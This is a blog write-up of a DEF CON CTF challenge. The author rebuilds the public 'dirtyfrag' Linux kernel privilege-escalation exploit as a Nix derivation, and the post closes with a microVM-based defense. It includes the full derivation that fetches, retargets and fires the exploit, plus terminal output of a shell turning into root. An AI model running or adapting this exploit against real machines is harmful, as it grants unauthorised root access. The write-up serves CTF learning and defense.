· · 7 min read

Rebuilding a kernel exploit with Nix

A kernel exploit targeted a program that NixOS keeps at a different path. Rebuilding dirtyfrag with Nix meant finding and pinning the exact executable, while exposing a kernel bug the build sandbox cannot contain.

Dirtyfrag exploits a kernel bug to gain administrator (root) privileges by changing a program’s cached file contents in memory. When a setuid-root program runs, it executes those planted bytes with root privileges despite the attacker’s lack of write permission (how the page-cache bug works). Its target is su, the program used to switch users, at /usr/bin/su, which didn’t exist on this NixOS box.

In the NixVegas security contest at DEF CON, copyfail handed me the recipe; the next challenge, dirtyfrag, handed me only a name.

Rebuilding the exploit as a derivation

The next rung, dirtyfrag, says “last time’s trick is patched, find a new one”: no recipe on the box. I found Hyunwoo Kim’s (@v4bel) upstream C and wrote the Nix build recipe, called a derivation, from scratch to build and fire it.

I couldn’t simply copy copyfail: its source-patching step (postPatch) rewrites "su"→target, but that string isn’t in dirtyfrag’s source. With no Makefile there’s no default build step (buildPhase) to lean on, so the compile is a line you write yourself, down to dropping the -lutil the upstream README asks for because this build doesn’t need it.

And like copyfail it’s a logic bug, not a race (no timing window, and it doesn’t panic on a miss), so it’s deterministic and can live in a build.

Pinning the store su the wrapper hides

On NixOS, the right su is slippery to name: packages live at separate paths in the Nix store. There’s a setuid wrapper at /run/wrappers/bin/su that runs the real su out of the store, and you can’t even read the wrapper (-r-s--x--x) to aim at it. The thing you can read, and therefore corrupt, is the store su the wrapper runs, but only if you know exactly which store path that is.

The obvious move dead-ends: readlink -f /run/wrappers/bin/su never reaches the store. It just resolves to another unreadable wrapper file. So I searched the box instead. find / -name su turns up the real store binary the wrapper hides (/nix/store/qgyhbqnd…-shadow-4.19.4-su/bin/su), and I hardcoded that into the derivation’s postPatch.

I pinned the one path on purpose: I was on the clock, two more rungs spun up on the board and no promise I’d reach them, so this only had to work once, on this box, not scale to every future build. Here’s the whole derivation:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
{
  lib,
  pkgsStatic,
  stdenvNoCC,
  fetchFromGitHub,
  util-linux,
  bash
}:
let
  target2 = lib.getExe' util-linux.mount "umount";

  dirtyfrag-c = pkgsStatic.stdenv.mkDerivation {
    pname = "dirtyfrag-c";
    version = "0.1";
    outputs = [
      "out"
    ];
    src = fetchFromGitHub {
      owner = "V4bel";
      repo = "dirtyfrag";
      rev = "eb33132154281c8dddfddffb062e9179ec8b3a2b";
      hash = "sha256-1GLyF7r2B2/W6xYSOj5gj4WNBkJYHbjyH0sJUvRNX9c=";
    };
    buildPhase = ''
      runHook preBuild
      $CC -O0 -Wall -o exp exp.c
      runHook postBuild
    '';
    postPatch = ''
      substituteInPlace exp.c \
        --replace-fail '"/usr/bin/su"' '"/nix/store/qgyhbqnd23sv341lv68kbzlz9nb4nkls-shadow-4.19.4-su/bin/su"' \
    '';
    installPhase = ''
      runHook preInstall
      mkdir -p $out/bin
      cp exp $out/bin/dirtyfrag
      runHook postInstall
    '';
  };
in
stdenvNoCC.mkDerivation (finalAttrs: {
  name = "dirtyfrag";

  phases = [
    "pwnPhase"
  ];

  nativeBuildInputs = [
    util-linux.bin
    dirtyfrag-c
  ];

  inherit target2;

  pwnPhase = ''
    runHook prePwn
    dirtyfrag $target2 </dev/null || true
    runHook postPwn
  '';
})

The C in exp.c is @v4bel’s; the derivation around it is mine. I carried target2, the umount path passed in pwnPhase, over from copyfail. Copyfail used that argument as its target; dirtyfrag only reads command-line arguments for flags and gets its target from a #define, so $target2 does nothing here. The postPatch above is what points it at the store su.

Before I pinned the exact store su, I got corruption stage failed and Authentication failure, half-firing without ever becoming a shell. With the right path patched in, I ran the built binary directly, then called su:

1
2
3
4
5
6
[ctf@nixos:~]$ DIRTYFRAG_VERBOSE=1 .../bin/dirtyfrag
[su] installed 48 xfrm SAs
[su] wrote 192 bytes to /nix/store/qgyhbqnd23sv341lv68kbzlz9nb4nkls-shadow-4.19.4-su/bin/su (entry 0x78 = shellcode)
[ctf@nixos:/home/ctf]$ su
[root@nixos:/home/ctf]# cat /root/flag.txt
Nix{c15f16c99681f06e}

Same sink, a different door

Dirtyfrag reaches the same result as copyfail: it corrupts cached file contents. It gets there through packet fragments referenced by sk_buff, the kernel’s network-packet structure, rather than AF_ALG, its cryptography interface. It still fires on a box where the published copyfail mitigation (blacklisting algif_aead) is in place; patching the module you got burned through isn’t patching the bug class beneath it.

copyfail
AF_ALG
algif_aead · blacklistable
dirtyfrag
sk_buff → frag
different entry, same primitive
↘↙
page-cache write sink
one 4-byte in-place STORE; both doors reach it
↓
the store su you rewrote, run as root by the setuid wrapper
one payload lands, whichever door let it in
algif_aead blacklisted→sink still reachable

Schematic: two routes to an in-place page-cache write.

The binary chains two independent kernel bugs, both found by Hyunwoo Kim (@v4bel), each covering where the other goes blind. It tries xfrm-ESP (CVE-2026-43284) first: an arbitrary four-byte write to the page cache, the same capability copyfail has, except it has to create a user namespace, which some Ubuntu AppArmor policies refuse.

RxRPC (CVE-2026-43500) is the fallback. It needs no namespace but depends on the rxrpc.ko module, which most distributions don’t ship and Ubuntu happens to load by default. Neither reaches every machine alone. Chained, with ESP first and RxRPC as the fallback, they cover more of the major distros between them than either could.

What I left on the board

The Erinyes challenge track goes up to level five. I solved the first two.

The third rung is where I stalled. Pushing dirtyfrag onto the second machine was the easy part; Nix moved the build across without complaint. The target was the problem. A store path is derived from its build inputs, and the remote builder had built from different inputs, so the /nix/store/…-su I’d pinned on the first box named nothing on the second. The builder had its own su under its own store path. I staged a matching su there to give the exploit a real path to aim at. Getting it staged worked; getting it to escalate never fully came together, and the clock ran out on the rung.

The Erinyes challenge group on the CTF board: level 1 copy fail and level 2 dirtyfrag marked Completed; level 3 redacted and level 4 pintheft marked Running; level 5 0day Not started
The Erinyes rungs, straight off the board: two solved, two running-but-uncracked, one never started.

The defense in the same building

The defense against everything above was being built in the same room. Tristan Ross, a NixVegas co-lead at Determinate Systems, gave the DEF CON talk, Securing Nix Builds using microVMs. He names dirtyfrag by example and states flatly that this class of bug is not preventable by the Nix sandbox. The sandbox still runs build code on the host’s kernel. His fix: give every build its own throwaway microVM, a small virtual machine with its own kernel. Two kernels now: the write reaches the throwaway kernel, not yours.

The Nix sandbox
Namespaces over a shared kernel
your build
↓
Linux namespaces
not a wall for a shared-kernel bug
page-cache STORE↓climbs straight over
one shared kernel
the write lands here
Not preventable by the sandbox
A microVM per build
Hypervisor over an isolated kernel
your build
↓
guest kernel
throwaway, one per build
page-cache STORE×stops at the boundary
hypervisor boundary
↓
your kernel
shielded by the hypervisor
Reaches the guest kernel, not yours
namespaces (shared kernel) → hypervisor (isolated kernel)
Same attack, two floors.

The defense is Tristan Ross’s DEF CON talk, Securing Nix Builds using microVMs (linked above); this diagram is that talk drawn against the exploit I ran.

The organizers built the box you were told to break and, separately, gave the talk on how to stop you. I adapted that separate-kernel idea to a persistent builder on a shared host. Isolating a Nix remote builder covers its access controls and the resources the host can reclaim.

Share